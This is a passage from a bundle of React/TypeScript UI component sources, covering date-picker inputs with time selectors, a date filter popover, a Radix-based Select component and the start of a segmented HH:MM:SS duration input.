isInvalid = invalid || !!error;\n\n  const displayValue = value ? formatDate(value) : \"\";\n\n  // Extract time from value\n  const hour = React.useMemo(() => {\n    if (!value) return \"\";\n    const hours = value.getHours();\n    if (use24HourFormat) {\n      return hours.toString().padStart(2, \"0\");\n    }\n    const hour12 = hours % 12 || 12;\n    return hour12.toString().padStart(2, \"0\");\n  }, [value, use24HourFormat]);\n\n  const minute = React.useMemo(() => {\n    if (!value) return \"\";\n    return value.getMinutes().toString().padStart(2, \"0\");\n  }, [value]);\n\n  const period = React.useMemo((): \"AM\" | \"PM\" => {\n    if (!value) return \"AM\";\n    return value.getHours() >= 12 ? \"PM\" : \"AM\";\n  }, [value]);\n\n  const handleSelect = (date: Date | DateRange | undefined) => {\n    const newDate = date as Date | undefined;\n    if (newDate && value) {\n      // Preserve time when selecting a new date\n      newDate.setHours(value.getHours(), value.getMinutes(), 0, 0);\n    }\n    onChange?.(newDate);\n    if (newDate) {\n      setOpen(false);\n    }\n  };\n\n  const handleHourChange = (newHour: string) => {\n    const date = value ? new Date(value) : new Date();\n    let hours = parseInt(newHour, 10);\n    if (!use24HourFormat) {\n      const isPM = period === \"PM\";\n      if (hours === 12) {\n        hours = isPM ? 12 : 0;\n      } else {\n        hours = isPM ? hours + 12 : hours;\n      }\n    }\n    date.setHours(hours);\n    onChange?.(date);\n  };\n\n  const handleMinuteChange = (newMinute: string) => {\n    const date = value ? new Date(value) : new Date();\n    date.setMinutes(parseInt(newMinute, 10));\n    onChange?.(date);\n  };\n\n  const handlePeriodChange = (newPeriod: \"AM\" | \"PM\") => {\n    const date = value ? new Date(value) : new Date();\n    let hours = date.getHours();\n    if (newPeriod === \"AM\" && hours >= 12) {\n      hours -= 12;\n    } else if (newPeriod === \"PM\" && hours < 12) {\n      hours += 12;\n    }\n    date.setHours(hours);\n    onChange?.(date);\n  };\n\n  const hourOptions = React.useMemo(() => generateHourOptions(use24HourFormat), [use24HourFormat]);\n  const minuteOptions = React.useMemo(() => generateMinuteOptions(), []);\n\n  const content = (\n    <div className={cn(\"flex items-center gap-2\", !label && !error && className)}>\n      {/* Date Picker */}\n      <Popover.Root open={open} onOpenChange={setOpen}>\n        <Popover.Trigger asChild>\n          <button\n            type=\"button\"\n            disabled={disabled}\n            // Same marker Input/Textarea/Select expose — it is how a form finds\n            // (and scrolls to) the first field that failed validation.\n            data-invalid={isInvalid || undefined}\n            className={cn(triggerButtonStyles, \"group\", open && !isInvalid && \"border-ods-accent enabled:hover:border-ods-accent enabled:hover:bg-ods-card\", isInvalid && \"border-ods-error enabled:hover:border-ods-error enabled:hover:bg-ods-card\", \"flex-1\")}\n          >\n            <Calendar className=\"size-6 text-ods-text-secondary shrink-0\" />\n            <span\n              className={cn(\n                \"flex-1 text-left truncate\",\n                displayValue ? \"text-ods-text-primary\" : \"text-ods-text-secondary\"\n              )}\n            >\n              {displayValue || placeholder}\n            </span>\n          </button>\n        </Popover.Trigger>\n\n        <Popover.Portal>\n          <Popover.Content\n            className={cn(\n              \"z-[9999]\",\n              \"animate-in fade-in-0 zoom-in-95\",\n              \"data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95\",\n              \"data-[side=bottom]:slide-in-from-top-2\",\n              \"data-[side=top]:slide-in-from-bottom-2\"\n            )}\n            sideOffset={8}\n            align=\"start\"\n          >\n            <DatePickerCalendar\n              mode=\"single\"\n              selected={value}\n              onSelect={handleSelect}\n              numberOfMonths={numberOfMonths}\n              fromDate={fromDate}\n              toDate={toDate}\n              locale={locale}\n            />\n          </Popover.Content>\n        </Popover.Portal>\n      </Popover.Root>\n\n      {/* Time Selects (optional) */}\n      {showTime && (\n        <div className=\"flex items-center gap-1\">\n          {/* Hour Select */}\n          <Select\n            value={hour}\n            onValueChange={handleHourChange}\n            disabled={disabled}\n          >\n            <SelectTrigger className={cn(timeSelectTriggerStyles, \"w-[80px]\")}>\n              <SelectValue placeholder=\"HH\" />\n            </SelectTrigger>\n            <SelectContent>\n              {hourOptions.map((h) => (\n                <SelectItem key={h} value={h}>\n                  {h}\n                </SelectItem>\n              ))}\n            </SelectContent>\n          </Select>\n\n          <span className=\"text-ods-text-secondary text-h4\">:</span>\n\n          {/* Minute Select */}\n          <Select\n            value={minute}\n            onValueChange={handleMinuteChange}\n            disabled={disabled}\n          >\n            <SelectTrigger className={cn(timeSelectTriggerStyles, \"w-[80px]\")}>\n              <SelectValue placeholder=\"MM\" />\n            </SelectTrigger>\n            <SelectContent>\n              {minuteOptions.map((m) => (\n                <SelectItem key={m} value={m}>\n                  {m}\n                </SelectItem>\n              ))}\n            </SelectContent>\n          </Select>\n\n          {/* AM/PM Select (only for 12-hour format) */}\n          {!use24HourFormat && (\n            <Select\n              value={period}\n              onValueChange={(val) => handlePeriodChange(val as \"AM\" | \"PM\")}\n              disabled={disabled}\n            >\n              <SelectTrigger className={cn(timeSelectTriggerStyles, \"w-[80px]\")}>\n                <SelectValue placeholder=\"AM\" />\n              </SelectTrigger>\n              <SelectContent>\n                <SelectItem value=\"AM\">AM</SelectItem>\n                <SelectItem value=\"PM\">PM</SelectItem>\n              </SelectContent>\n            </Select>\n          )}\n        </div>\n      )}\n    </div>\n  );\n\n  return (\n    <FieldWrapper label={label} error={error} className={className}>\n      {content}\n    </FieldWrapper>\n  );\n}\n\n// ============================================================================\n// DatePickerInputSimple Component (with single time selector)\n// ============================================================================\n\nexport interface DatePickerInputSimpleProps extends DatePickerBaseProps {\n  mode?: \"single\";\n  value?: Date;\n  onChange?: (date: Date | undefined) => void;\n  /** Show time selector next to date */\n  showTime?: boolean;\n  /** Time interval in minutes (default: 30) */\n  timeInterval?: number;\n  /** Use 24-hour format instead of 12-hour */\n  use24HourFormat?: boolean;\n}\n\n// Generate time options with specified interval\nconst generateTimeOptions = (\n  intervalMinutes: number,\n  use24Hour: boolean\n): { value: string; label: string }[] => {\n  const options: { value: string; label: string }[] = [];\n  const totalMinutesInDay = 24 * 60;\n\n  for (let minutes = 0; minutes < totalMinutesInDay; minutes += intervalMinutes) {\n    const hours = Math.floor(minutes / 60);\n    const mins = minutes % 60;\n\n    const value = `${hours.toString().padStart(2, \"0\")}:${mins.toString().padStart(2, \"0\")}`;\n\n    let label: string;\n    if (use24Hour) {\n      label = value;\n    } else {\n      const hour12 = hours % 12 || 12;\n      const period = hours >= 12 ? \"PM\" : \"AM\";\n      label = `${hour12.toString().padStart(2, \"0\")}:${mins.toString().padStart(2, \"0\")} ${period}`;\n    }\n\n    options.push({ value, label });\n  }\n\n  return options;\n};\n\nexport function DatePickerInputSimple({\n  placeholder = \"Select date\",\n  formatDate = defaultFormatDate,\n  disabled = false,\n  className,\n  numberOfMonths = 1,\n  fromDate,\n  toDate,\n  locale,\n  value,\n  onChange,\n  showTime = false,\n  timeInterval = 30,\n  use24HourFormat = false,\n  label,\n  error,\n  invalid = false,\n}: DatePickerInputSimpleProps) {\n  const [open, setOpen] = React.useState(false);\n  const isInvalid = invalid || !!error;\n\n  const displayValue = value ? formatDate(value) : \"\";\n\n  // Get current time value as HH:MM string\n  const timeValue = React.useMemo(() => {\n    if (!value) return \"\";\n    const hours = value.getHours();\n    const minutes = value.getMinutes();\n    return `${hours.toString().padStart(2, \"0\")}:${minutes.toString().padStart(2, \"0\")}`;\n  }, [value]);\n\n  // Get display label for current time\n  const timeDisplayLabel = React.useMemo(() => {\n    if (!value) return \"\";\n    const hours = value.getHours();\n    const minutes = value.getMinutes();\n\n    if (use24HourFormat) {\n      return `${hours.toString().padStart(2, \"0\")}:${minutes.toString().padStart(2, \"0\")}`;\n    }\n\n    const hour12 = hours % 12 || 12;\n    const period = hours >= 12 ? \"PM\" : \"AM\";\n    return `${hour12.toString().padStart(2, \"0\")}:${minutes.toString().padStart(2, \"0\")} ${period}`;\n  }, [value, use24HourFormat]);\n\n  const handleSelect = (date: Date | DateRange | undefined) => {\n    const newDate = date as Date | undefined;\n    if (newDate && value) {\n      // Preserve time when selecting a new date\n      newDate.setHours(value.getHours(), value.getMinutes(), 0, 0);\n    }\n    onChange?.(newDate);\n    if (newDate) {\n      setOpen(false);\n    }\n  };\n\n  const handleTimeChange = (newTime: string) => {\n    const [hours, minutes] = newTime.split(\":\").map(Number);\n    const date = value ? new Date(value) : new Date();\n    date.setHours(hours, minutes, 0, 0);\n    onChange?.(date);\n  };\n\n  const timeOptions = React.useMemo(\n    () => generateTimeOptions(timeInterval, use24HourFormat),\n    [timeInterval, use24HourFormat]\n  );\n\n  const content = (\n    <div className={cn(\"flex items-center gap-2\", !label && !error && className)}>\n      {/* Date Picker */}\n      <Popover.Root open={open} onOpenChange={setOpen}>\n        <Popover.Trigger asChild>\n          <button\n            type=\"button\"\n            disabled={disabled}\n            // Same marker Input/Textarea/Select expose — it is how a form finds\n            // (and scrolls to) the first field that failed validation.\n            data-invalid={isInvalid || undefined}\n            className={cn(triggerButtonStyles, \"group\", open && !isInvalid && \"border-ods-accent enabled:hover:border-ods-accent enabled:hover:bg-ods-card\", isInvalid && \"border-ods-error enabled:hover:border-ods-error enabled:hover:bg-ods-card\", \"flex-1\")}\n          >\n            <Calendar className=\"size-6 text-ods-text-secondary shrink-0\" />\n            <span\n              className={cn(\n                \"flex-1 text-left truncate\",\n                displayValue ? \"text-ods-text-primary\" : \"text-ods-text-secondary\"\n              )}\n            >\n              {displayValue || placeholder}\n            </span>\n          </button>\n        </Popover.Trigger>\n\n        <Popover.Portal>\n          <Popover.Content\n            className={cn(\n              \"z-[9999]\",\n              \"animate-in fade-in-0 zoom-in-95\",\n              \"data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95\",\n              \"data-[side=bottom]:slide-in-from-top-2\",\n              \"data-[side=top]:slide-in-from-bottom-2\"\n            )}\n            sideOffset={8}\n            align=\"start\"\n          >\n            <DatePickerCalendar\n              mode=\"single\"\n              selected={value}\n              onSelect={handleSelect}\n              numberOfMonths={numberOfMonths}\n              fromDate={fromDate}\n              toDate={toDate}\n              locale={locale}\n            />\n          </Popover.Content>\n        </Popover.Portal>\n      </Popover.Root>\n\n      {/* Single Time Select (optional) */}\n      {showTime && (\n        <Select\n          value={timeValue}\n          onValueChange={handleTimeChange}\n          disabled={disabled}\n        >\n          <SelectTrigger className={cn(timeSelectTriggerStyles, \"flex-1\")}>\n            <SelectValue placeholder=\"Select time\">\n              {timeDisplayLabel || \"Select time\"}\n            </SelectValue>\n          </SelectTrigger>\n          <SelectContent>\n            {timeOptions.map((option) => (\n              <SelectItem key={option.value} value={option.value}>\n                {option.label}\n              </SelectItem>\n            ))}\n          </SelectContent>\n        </Select>\n      )}\n    </div>\n  );\n\n  return (\n    <FieldWrapper label={label} error={error} className={className}>\n      {content}\n    </FieldWrapper>\n  );\n}\n\n// ============================================================================\n// DateFilterPanel Component (sort select + fluid calendar)\n// ============================================================================\n\nexport interface DateFilterPanelProps {\n  /** Selection mode for the calendar. Defaults to \"range\". */\n  mode?: DatePickerMode;\n  /** Current sort direction shown in the select. */\n  sort: SortDirection;\n  onSortChange: (sort: SortDirection) => void;\n  /** Current calendar selection. */\n  selected: Date | DateRange | undefined;\n  onSelect: (value: Date | DateRange | undefined) => void;\n  /** Minimum selectable date. */\n  fromDate?: Date;\n  /** Maximum selectable date. */\n  toDate?: Date;\n  /** Locale for the calendar. */\n  locale?: DayPickerProps[\"locale\"];\n  /** Label for the ascending sort option. */\n  ascLabel?: string;\n  /** Label for the descending sort option. */\n  descLabel?: string;\n  className?: string;\n}\n\n/**\n * DateFilterPanel — the controlled sort-direction select + fluid calendar\n * block shared by DateFilterMenu (popover) and FilterModal (mobile \"Sort and\n * Filter\"). Owns no state: the consumer drafts and commits the values.\n */\nexport function DateFilterPanel({\n  mode = \"range\",\n  sort,\n  onSortChange,\n  selected,\n  onSelect,\n  fromDate,\n  toDate,\n  locale,\n  ascLabel = \"Sort by Ascending\",\n  descLabel = \"Sort by Descending\",\n  className,\n}: DateFilterPanelProps) {\n  return (\n    <div className={cn(\"flex flex-col gap-4\", className)}>\n      {/* Sort direction selector */}\n      <Select\n        value={sort}\n        onValueChange={(value) => onSortChange(value as SortDirection)}\n      >\n        <SelectTrigger className=\"gap-2\" aria-label=\"Sort direction\">\n          {/* Wrapper is a <div> (not <span>) so SelectTrigger's\n              `[&>span]:line-clamp-1` rule doesn't force it to a vertical\n              -webkit-box and stack the icon/label into a column. */}\n          <div className=\"flex min-w-0 flex-1 items-center gap-2\">\n            <ArrowUpDown className=\"size-6 shrink-0 text-ods-text-secondary\" />\n            <span className=\"truncate\">\n              <SelectValue />\n            </span>\n          </div>\n        </SelectTrigger>\n        <SelectContent>\n          <SelectItem value=\"asc\">{ascLabel}</SelectItem>\n          <SelectItem value=\"desc\">{descLabel}</SelectItem>\n        </SelectContent>\n      </Select>\n\n      {/* Calendar */}\n      <DatePickerCalendar\n        mode={mode}\n        selected={selected}\n        onSelect={onSelect}\n        numberOfMonths={1}\n        fromDate={fromDate}\n        toDate={toDate}\n        locale={locale}\n        fluid\n      />\n    </div>\n  );\n}\n\n// ============================================================================\n// DateFilterMenu Component (sort + calendar filter popover from Figma)\n// ============================================================================\n\nexport interface DateFilterResult {\n  /** Selected sort direction */\n  sort: SortDirection;\n  /** Selected single date (mode === \"single\") */\n  date?: Date;\n  /** Selected date range (mode === \"range\") */\n  range?: DateRange;\n}\n\nexport interface DateFilterMenuProps {\n  /** Selection mode for the calendar. Defaults to \"range\". */\n  mode?: DatePickerMode;\n  /** Current (applied) sort direction. Defaults to \"desc\". */\n  sort?: SortDirection;\n  /** Baseline sort direction — Reset restores it, and a draft that differs\n   *  from it counts as an active change (shows Reset). Defaults to \"desc\". */\n  defaultSort?: SortDirection;\n  /** Current (applied) single date — used when mode === \"single\". */\n  date?: Date;\n  /** Current (applied) range — used when mode === \"range\". */\n  range?: DateRange;\n  /** Fired when the user presses Apply with the drafted selection. Also fired\n   *  by Reset with a cleared selection so the consumer refetches unfiltered data. */\n  onApply?: (result: DateFilterResult) => void;\n  /** Fired when the menu closes (Close button, outside click, Esc). */\n  onClose?: () => void;\n  /** Custom trigger element (rendered via Radix `asChild` — must accept a ref,\n   *  e.g. a native button). Defaults to the outline calendar icon Button. */\n  trigger?: React.ReactNode;\n  /** Disable the trigger. */\n  disabled?: boolean;\n  /** Minimum selectable date. */\n  fromDate?: Date;\n  /** Maximum selectable date. */\n  toDate?: Date;\n  /** Locale for the calendar. */\n  locale?: DayPickerProps[\"locale\"];\n  /** Popover alignment relative to the trigger. */\n  align?: \"start\" | \"center\" | \"end\";\n  /** Label for the ascending sort option. */\n  ascLabel?: string;\n  /** Label for the descending sort option. */\n  descLabel?: string;\n  /** Additional class name for the trigger button. */\n  className?: string;\n  /** Accessible label for the trigger. */\n  \"aria-label\"?: string;\n}\n\n/**\n * DateFilterMenu — a calendar-icon-triggered popover combining a sort-direction\n * selector and a date / date-range calendar, with Close/Reset and Apply actions.\n * The sort and date selection are drafted internally and committed via\n * `onApply`. While a date is selected, Close is replaced by Reset, which\n * clears and commits the empty selection (fires `onApply`) so the consumer\n * drops the filter.\n */\nexport function DateFilterMenu({\n  mode = \"range\",\n  sort = \"desc\",\n  defaultSort = \"desc\",\n  date,\n  range,\n  onApply,\n  onClose,\n  trigger,\n  disabled = false,\n  fromDate,\n  toDate,\n  locale,\n  align = \"start\",\n  ascLabel = \"Sort by Ascending\",\n  descLabel = \"Sort by Descending\",\n  className,\n  \"aria-label\": ariaLabel = \"Open date filter\",\n}: DateFilterMenuProps) {\n  const [open, setOpen] = React.useState(false);\n\n  // Drafted selection — initialized from props each time the menu opens.\n  const [draftSort, setDraftSort] = React.useState<SortDirection>(sort);\n  const [draftSelected, setDraftSelected] = React.useState<\n    Date | DateRange | undefined\n  >(mode === \"single\" ? date : range);\n\n  const resetDraft = React.useCallback(() => {\n    setDraftSort(sort);\n    setDraftSelected(mode === \"single\" ? date : range);\n  }, [sort, date, range, mode]);\n\n  const handleOpenChange = (next: boolean) => {\n    if (next) {\n      resetDraft();\n    } else {\n      onClose?.();\n    }\n    setOpen(next);\n  };\n\n  const handleApply = () => {\n    const result: DateFilterResult =\n      mode === \"single\"\n        ? { sort: draftSort, date: draftSelected as Date | undefined }\n        : { sort: draftSort, range: draftSelected as DateRange | undefined };\n    onApply?.(result);\n    setOpen(false);\n  };\n\n  const handleClose = () => {\n    onClose?.();\n    setOpen(false);\n  };\n\n  // Anything to reset? A calendar selection or a non-default sort — drives Close vs Reset.\n  const hasSelection =\n    mode === \"single\"\n      ? Boolean(draftSelected)\n      : Boolean((draftSelected as DateRange | undefined)?.from);\n  const hasChanges = hasSelection || draftSort !== defaultSort;\n\n  // Reset restores the defaults and commits them so the consumer drops the\n  // filter and refetches; the menu stays open with the button back to Close.\n  const handleReset = () => {\n    setDraftSort(defaultSort);\n    setDraftSelected(undefined);\n    onApply?.(\n      mode === \"single\"\n        ? { sort: defaultSort, date: undefined }\n        : { sort: defaultSort, range: undefined }\n    );\n  };\n\n  return (\n    <Popover.Root open={open} onOpenChange={handleOpenChange}>\n      <Popover.Trigger asChild>\n        {trigger ?? (\n          <Button\n            type=\"button\"\n            variant=\"outline\"\n            size=\"icon\"\n            disabled={disabled}\n            aria-label={ariaLabel}\n            className={className}\n            leftIcon={<Calendar className=\"size-6\" />}\n          />\n        )}\n      </Popover.Trigger>\n\n      <Popover.Portal>\n        <Popover.Content\n          className={cn(\n            \"z-[9999] w-80 max-w-[calc(100vw-2rem)]\",\n            \"flex flex-col gap-4 rounded-[6px] border border-ods-border bg-ods-bg p-4\",\n            \"animate-in fade-in-0 zoom-in-95\",\n            \"data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95\",\n            \"data-[side=bottom]:slide-in-from-top-2\",\n            \"data-[side=top]:slide-in-from-bottom-2\"\n          )}\n          sideOffset={8}\n          align={align}\n        >\n          {/* Sort + calendar (shared panel) */}\n          <DateFilterPanel\n            mode={mode}\n            sort={draftSort}\n            onSortChange={setDraftSort}\n            selected={draftSelected}\n            onSelect={setDraftSelected}\n            fromDate={fromDate}\n            toDate={toDate}\n            locale={locale}\n            ascLabel={ascLabel}\n            descLabel={descLabel}\n          />\n\n          {/* Actions */}\n          <div className=\"flex w-full items-stretch gap-4\">\n            <Button\n              type=\"button\"\n              variant=\"outline\"\n              fullWidth\n              onClick={hasChanges ? handleReset : handleClose}\n            >\n              {hasChanges ? \"Reset\" : \"Close\"}\n            </Button>\n            <Button\n              type=\"button\"\n              variant=\"accent\"\n              fullWidth\n              onClick={handleApply}\n            >\n              Apply\n            </Button>\n          </div>\n        </Popover.Content>\n      </Popover.Portal>\n    </Popover.Root>\n  );\n}\n\n// ============================================================================\n// Exports\n// ============================================================================\n\nexport { type DateRange };\n","\"use client\"\n\nimport * as SelectPrimitive from \"@radix-ui/react-select\"\nimport { ChevronDown, ChevronUp } from \"lucide-react\"\nimport { CheckIcon } from \"../icons-v2-generated/signs-and-symbols/check-icon\"\nimport { Chevron02DownIcon } from \"../icons-v2-generated/arrows/chevron-02-down-icon\"\nimport * as React from \"react\"\n\nimport { cn } from \"../../utils/cn\"\nimport { FieldWrapper } from \"./field-wrapper\"\n\nconst Select = SelectPrimitive.Root\n\nconst SelectGroup = SelectPrimitive.Group\n\nconst SelectValue = SelectPrimitive.Value\n\nconst SelectTrigger = React.forwardRef<\n  React.ComponentRef<typeof SelectPrimitive.Trigger>,\n  React.ComponentPropsWithoutRef<typeof SelectPrimitive.Trigger> & {\n    invalid?: boolean\n    label?: string\n    /** Label scale forwarded to FieldWrapper (\"large\" = text-h4 for designs with body-scale field titles) */\n    labelVariant?: \"default\" | \"large\"\n    error?: string\n  }\n>(({ className, children, invalid, label, labelVariant, error, ...props }, ref) => {\n  const isInvalid = invalid || !!error\n\n  const trigger = (\n    <SelectPrimitive.Trigger\n      ref={ref}\n      data-invalid={isInvalid || undefined}\n      className={cn(\n        // Layout & spacing - match Input\n        // text-left resets the <button> UA default text-align:center, which the\n        // SelectValue span inherits and would otherwise center short values,\n        // reading as spurious left indentation on the selected value.\n        \"flex w-full items-center justify-between gap-2 rounded-[6px] border px-3 h-11 md:h-12 outline-none text-left\",\n        // Typography - match Input exactly\n        \"text-h4\",\n        // Theme palette - match Input exactly\n        \"bg-ods-card border-ods-border text-ods-text-primary data-[placeholder]:text-ods-text-secondary\",\n        \"enabled:hover:bg-ods-bg-hover enabled:hover:border-ods-border-hover enabled:active:bg-ods-bg-active enabled:active:border-ods-border-active\",\n        !isInvalid && \"data-[state=open]:border-ods-accent data-[state=open]:hover:border-ods-accent\",\n        \"group\",\n        // Disabled - match Input exactly: value greys out, placeholder dims\n        // further. The `data-[placeholder]` rule above is a class+attribute\n        // selector, so the disabled placeholder rule stacks `:disabled` on top\n        // of it to win on specificity rather than on source order.\n        \"disabled:!cursor-not-allowed disabled:bg-ods-bg\",\n        \"disabled:text-ods-text-disabled disabled:data-[placeholder]:text-ods-border\",\n        // The chevron sets its own colour — grey it with the value.\n        \"disabled:[&_svg]:text-ods-text-disabled\",\n        \"transition-colors duration-200 cursor-pointer\",\n        \"[&>span]:line-clamp-1\",\n        isInvalid && \"border-ods-error enabled:hover:border-ods-error enabled:active:border-ods-error data-[state=open]:border-ods-error\",\n        className\n      )}\n      {...props}\n    >\n      {children}\n      <SelectPrimitive.Icon asChild>\n        <Chevron02DownIcon className={cn(\n          \"shrink-0 text-ods-text-secondary transition-all duration-200 group-data-[state=open]:rotate-180\",\n          isInvalid ? \"text-ods-error\" : \"group-data-[state=open]:text-ods-accent\"\n        )} size={24} />\n      </SelectPrimitive.Icon>\n    </SelectPrimitive.Trigger>\n  )\n\n  return (\n    <FieldWrapper label={label} labelVariant={labelVariant} error={error}>\n      {trigger}\n    </FieldWrapper>\n  )\n})\nSelectTrigger.displayName = SelectPrimitive.Trigger.displayName\n\nconst SelectScrollUpButton = React.forwardRef<\n  React.ComponentRef<typeof SelectPrimitive.ScrollUpButton>,\n  React.ComponentPropsWithoutRef<typeof SelectPrimitive.ScrollUpButton>\n>(({ className, ...props }, ref) => (\n  <SelectPrimitive.ScrollUpButton\n    ref={ref}\n    className={cn(\n      \"flex cursor-default items-center justify-center py-1\",\n      className\n    )}\n    {...props}\n  >\n    <ChevronUp className=\"h-4 w-4\" />\n  </SelectPrimitive.ScrollUpButton>\n))\nSelectScrollUpButton.displayName = SelectPrimitive.ScrollUpButton.displayName\n\nconst SelectScrollDownButton = React.forwardRef<\n  React.ComponentRef<typeof SelectPrimitive.ScrollDownButton>,\n  React.ComponentPropsWithoutRef<typeof SelectPrimitive.ScrollDownButton>\n>(({ className, ...props }, ref) => (\n  <SelectPrimitive.ScrollDownButton\n    ref={ref}\n    className={cn(\n      \"flex cursor-default items-center justify-center py-1\",\n      className\n    )}\n    {...props}\n  >\n    <ChevronDown className=\"h-4 w-4\" />\n  </SelectPrimitive.ScrollDownButton>\n))\nSelectScrollDownButton.displayName =\n  SelectPrimitive.ScrollDownButton.displayName\n\nconst SelectContent = React.forwardRef<\n  React.ComponentRef<typeof SelectPrimitive.Content>,\n  React.ComponentPropsWithoutRef<typeof SelectPrimitive.Content>\n>(({ className, children, position = \"popper\", ...props }, ref) => (\n  <SelectPrimitive.Portal>\n    <SelectPrimitive.Content\n      ref={ref}\n      className={cn(\n        \"relative z-[9999] max-h-96 overflow-hidden rounded-[4px] border border-ods-border bg-ods-card text-ods-text-primary\",\n        \"data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2\",\n        position === \"popper\" &&\n          \"data-[side=bottom]:translate-y-1 data-[side=left]:-translate-x-1 data-[side=right]:translate-x-1 data-[side=top]:-translate-y-1\",\n        className\n      )}\n      position={position}\n      style={{\n        width: 'var(--radix-select-trigger-width)',\n        minWidth: 'var(--radix-select-trigger-width)'\n      }}\n      {...props}\n    >\n      <SelectScrollUpButton />\n      <SelectPrimitive.Viewport className=\"w-full\">\n        {children}\n      </SelectPrimitive.Viewport>\n      <SelectScrollDownButton />\n    </SelectPrimitive.Content>\n  </SelectPrimitive.Portal>\n))\nSelectContent.displayName = SelectPrimitive.Content.displayName\n\nconst SelectLabel = React.forwardRef<\n  React.ElementRef<typeof SelectPrimitive.Label>,\n  React.ComponentPropsWithoutRef<typeof SelectPrimitive.Label>\n>(({ className, ...props }, ref) => (\n  <SelectPrimitive.Label\n    ref={ref}\n    className={cn(\"py-1.5 pl-8 pr-2 text-h6 font-semibold\", className)}\n    {...props}\n  />\n))\nSelectLabel.displayName = SelectPrimitive.Label.displayName\n\nconst SelectItem = React.forwardRef<\n  React.ComponentRef<typeof SelectPrimitive.Item>,\n  React.ComponentPropsWithoutRef<typeof SelectPrimitive.Item>\n>(({ className, children, ...props }, ref) => (\n  <SelectPrimitive.Item\n    ref={ref}\n    className={cn(\n      \"flex w-full cursor-pointer select-none items-center justify-between h-11 md:h-12 px-4 border-b border-ods-border last:border-b-0\",\n      // Typography - match trigger\n      \"text-h4 whitespace-nowrap\",\n      // Hover state with visible background change\n      \"outline-none hover:bg-ods-bg-hover data-[highlighted]:bg-ods-bg-surface\",\n      \"data-[disabled]:pointer-events-none data-[disabled]:opacity-50\",\n      \"transition-colors duration-150\",\n      className\n    )}\n    {...props}\n  >\n    <SelectPrimitive.ItemText>{children}</SelectPrimitive.ItemText>\n    <SelectPrimitive.ItemIndicator>\n      <CheckIcon className=\"text-ods-accent\" size={20} />\n    </SelectPrimitive.ItemIndicator>\n  </SelectPrimitive.Item>\n))\nSelectItem.displayName = SelectPrimitive.Item.displayName\n\nconst SelectSeparator = React.forwardRef<\n  React.ComponentRef<typeof SelectPrimitive.Separator>,\n  React.ComponentPropsWithoutRef<typeof SelectPrimitive.Separator>\n>(({ className, ...props }, ref) => (\n  <SelectPrimitive.Separator\n    ref={ref}\n    className={cn(\"-mx-1 my-1 h-px bg-ods-border\", className)}\n    {...props}\n  />\n))\nSelectSeparator.displayName = SelectPrimitive.Separator.displayName\n\nexport {\n  Select, SelectContent, SelectGroup, SelectItem, SelectLabel, SelectScrollDownButton, SelectScrollUpButton, SelectSeparator, SelectTrigger, SelectValue\n}\n","\"use client\";\n\nimport { Fragment, type KeyboardEvent, useEffect, useRef, useState } from \"react\";\nimport { cn } from \"../../utils/cn\";\n\nexport interface DurationInputProps {\n  /** Duration as `HH:MM:SS`. */\n  value: string;\n  onChange: (value: string) => void;\n  invalid?: boolean;\n  className?: string;\n}\n\ntype Segments = [string, string, string];\n\nconst SEGMENT_META = [\n  { label: \"Hours\", placeholder: \"HH\", max: 99 },\n  { label: \"Minutes\", placeholder: \"MM\", max: 59 },\n  { label: \"Seconds\", placeholder: \"SS\", max: 59 },\n] as const;\n\nconst pad2 = (s: string): string => s.padStart(2, \"0\").slice(-2);\nconst compose = (s: Segments): string => `${pad2(s[0])}:${pad2(s[1])}:${pad2(s[2])}`;\nconst split = (value: string): Segments => {\n  const parts = value.split(\":\");\n  return [parts[0] || \"00\", parts[1] || \"00\", parts[2] || \"00\"];\n};\n\n/**\n * Segmented `HH:MM:SS` entry: each unit is its own field, typing fills the focused\n * segment and auto-advances, arrows move/increment. Segments clamp to their max\n * (MM/SS ≤ 59), so an invalid duration can't be produced. Value in/out is `HH:MM:SS`.\n */\nexport function DurationInput({ value, onChange, invalid, className }: DurationInputProps) {\n  const [segments, setSegments] = useState<Segments>(() => split(value));\n  const refs = [useRef<HTMLInputElement>(null), useRef<HTMLInputElement>(null), useRef<HTMLInputElement>(null)];\n\n  // Adopt an externally-set value (edit pre-fill / form reset) without clobbering in-progress typing.\n  useEffect(() => {\n    setSegments((prev) => (compose(prev) === value ? prev : split(value)));\n  }, [value]);\n\n  const focusSegment = (i: number) => {\n    const el = refs[i]?.current;\n    if (!el) return;\n    el.focus();\n    el.select();\n  };\n\n  const commit = (next: Segments, advanceFrom?: number) => {\n    setSegments(next);\n    onChange(compose(next));\n    if (advanceFrom !== undefined && advanceFrom < 2) focusSegment(advanceFrom + 1);\n  };\n\n  const handleChange = (i: number) => (event: React.ChangeEvent<HTMLInputElement>) => {\n    const digits = event.target.value.replace(/\\D/g, \"\").slice(-2);\n    const { max } = SEGMENT_META[i];\n    const next = [...segments] as Segments;\n\n    if (digits.length === 2) {\n      next[i] = String(Math.min(Number(digits), max));\n      commit(next, i);\n    } else if (digits.length === 1 && max === 59 && Number(digits) > 5) {\n      // 6–9 can't start a valid two-digit minute/second, so commit and advance now.\n      next[i] = digits;\n      commit(next, i);\n    } else {\n      next[i] = digits;\n      commit(next);\n    }\n  };\n\n  const handleKeyDown = (i: number) => (event: KeyboardEvent<HTMLInputElement>) => {\n    const el = event.currentTarget;\n    const { max } = SEGMENT_META[i];\n\n    if (event.key === \"ArrowUp\" || event.key === \"ArrowDown\") {\n      event.preventDefault();\n      const delta = event.key === \"ArrowUp\" ? 1 : -1;\n      const nextValue = (Number(segments[i] || \"0\") + delta + (max + 1)) % (max + 1);\n      const next = [...segments] as Segments;\n      next[i] = String(nextValue);\n      commit(next);\n      requestAnimationFrame(() => el.select());\n    } else if (event.key === \"ArrowLeft\" && el.selectionStart === 0 && i > 0) {\n      event.preventDefault();\n      focusSegment(i - 1);\n    } else if (event.key === \"ArrowRight\" && el.selectionEnd === el.value.length && i < 2) {\n      event.preventDefault();\n      focusSegment(i + 1);\n    } else if (event.key === \"Backspace\" && el.value === \"\" && i > 0) {\n      event.preventDefault();\n      focusSegment(i - 1);\n    } else if (event.key === \":\" && i < 